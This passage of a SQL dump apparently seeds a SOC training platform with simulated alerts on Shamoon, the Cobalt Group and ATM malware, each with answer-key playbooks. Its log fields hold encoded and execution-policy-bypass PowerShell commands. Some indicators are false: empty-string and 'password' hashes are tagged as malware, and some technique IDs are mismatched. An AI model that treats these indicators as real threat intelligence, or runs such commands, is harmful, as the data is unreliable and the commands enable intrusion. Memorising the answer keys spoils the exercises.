1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.452Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:37Z\\\",\\\"event_id\\\":4657,\\\"user\\\":\\\"admin_user\\\",\\\"computer_name\\\":\\\"compromised-host.internal\\\",\\\"registry_key_path\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\SOFTWARE\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"new_service_name\\\":\\\"WinSecureService\\\",\\\"service_executable\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\wiper.exe\\\",\\\"malware_hash\\\":\\\"9b0a1e3d4f5e6a7c8b9d0e1f2c3b4a5d\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"action\\\":\\\"Registry Key Modified, Service Created\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(805, 'Increased Network Traffic and SMB Activity', 'high', 'Network Traffic Analysis', 'Anomalous increase in network traffic detected originating from internal workstation 192.168.1.45 to multiple endpoints within the network. The traffic involves SMB protocol usage consistent with lateral movement techniques aimed at propagating Shamoon malware. The connection was initiated using stolen credentials associated with user jdoe. A known malicious file hash was identified in the traffic.', 'Lateral Movement', 'T1021.002 - SMB/Windows Admin Shares', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:35:22Z\",\"source_ip\":\"192.168.1.45\",\"destination_ips\":[\"192.168.1.50\",\"192.168.1.51\",\"192.168.1.52\"],\"user\":\"jdoe\",\"protocol\":\"SMB\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"malicious_file\":\"spreadshamoon.exe\",\"external_attacker_ip\":\"203.0.113.5\",\"activity\":\"Increase in SMB traffic and file transfer attempts using stolen credentials\"}', '2026-01-12 22:17:37', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Source IP of the lateral movement within the network.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"Known IP associated with previous attacks.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"hash database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with Shamoon malware variant.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"compromised\",\"details\":\"User credentials used in unauthorized activities.\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"spreadshamoon.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"malicious\",\"details\":\"Executable file used to propagate malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(806, 'MBR Overwrite Detected', 'critical', 'Disk Forensics', 'As the final step, the Shamoon wiper overwrites the MBR of infected systems, rendering them inoperable and displaying a burning American flag image. This operation is indicative of a politically motivated attack aimed at causing maximum disruption.', 'Destruction and Imagery Planting', 'T1547.001', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T14:23:39Z\",\"event_source\":\"disk_forensics\",\"event_id\":\"DF-2023-10001\",\"description\":\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\",\"host_ip\":\"192.168.10.45\",\"malware_hash\":\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\",\"malware_filename\":\"trksvr.exe\",\"attacker_ip\":\"185.53.177.20\",\"user\":\"admin_user\",\"action_taken\":\"MBR Overwrite\",\"political_imagery\":\"burning_flag.png\"}', '2026-01-12 22:17:37', '2026-02-16 18:00:24', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known hash associated with Shamoon malware.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"trksvr.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable file used by Shamoon for MBR overwriting.\"}},{\"id\":\"artifact_4\",\"type\":\"ip\",\"value\":\"185.53.177.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known attacker IP associated with Shamoon operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', 'IR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(807, 'Suspicious Login Attempt Detected', 'medium', 'Firewall Logs', 'The Cobalt Group initiated an attack attempt through a phishing campaign targeting bank employees. A suspicious login attempt was detected from an unfamiliar IP address.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T10:15:30Z\",\"event_type\":\"login_attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"username\":\"jdoe\",\"login_result\":\"failed\",\"attempted_filename\":\"invoice_2023.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"phishing_email_sender\":\"no-reply@fakebank.com\",\"phishing_email_subject\":\"Urgent: Invoice Attached\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Bank\'s internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Legitimate employee account\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing attempts\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware\"}},{\"id\":\"artifact_6\",\"type\":\"email\",\"value\":\"no-reply@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email domain linked to phishing activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(808, 'Malware Execution Triggered', 'high', 'Endpoint Detection System', 'A custom malware designed to infiltrate ATM management systems has been executed on a compromised endpoint. The malware aims to establish a foothold within the network.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"evt-123456\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"destination_port\":4444,\"username\":\"jdoe\",\"process_name\":\"atm_manager.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_description\":\"Execution of suspicious process detected\",\"host_name\":\"ATM-Server-01\",\"malware_name\":\"ATMInfiltrator\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelFeed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalRecords\",\"verdict\":\"internal\",\"details\":\"Internal ATM management server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to ATMInfiltrator malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_manager.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalRecords\",\"verdict\":\"suspicious\",\"details\":\"Unusual process execution detected on ATM management server\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(809, 'Backdoor Installation Identified', 'high', 'System Integrity Monitoring', 'A backdoor was installed on the compromised system to ensure continued access. This action was detected when an unauthorized remote access tool was found running persistently.', 'Persistence', 'T1059.001', 1, 'new', NULL, '{\"event_time\":\"2023-10-25T14:32:00Z\",\"event_type\":\"file_creation\",\"host_ip\":\"192.168.10.15\",\"external_ip\":\"203.0.113.45\",\"username\":\"compromised_user\",\"file\":{\"path\":\"C:\\\\Windows\\\\System32\\\\\",\"name\":\"backdoor.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"process\":{\"name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Windows\\\\System32\\\\backdoor.exe\"}}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File name commonly used by backdoor trojans.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting abnormal behavior.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(810, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'Anomalous network traffic detected indicating potential lateral movement by The Cobalt Group. The group is attempting to navigate through the network aiming at key systems managing ATM operations.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.3.25\",\"username\":\"atm_admin\",\"protocol\":\"SMB\",\"file_accessed\":\"\\\\\\\\10.1.3.25\\\\C$\\\\Windows\\\\System32\\\\atm_operations.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"action\":\"File Access\",\"device\":\"192.168.1.15\",\"status\":\"Successful\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with Cobalt Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.3.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical ATM infrastructure server.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Cobalt Group malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"atm_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account used in lateral movement 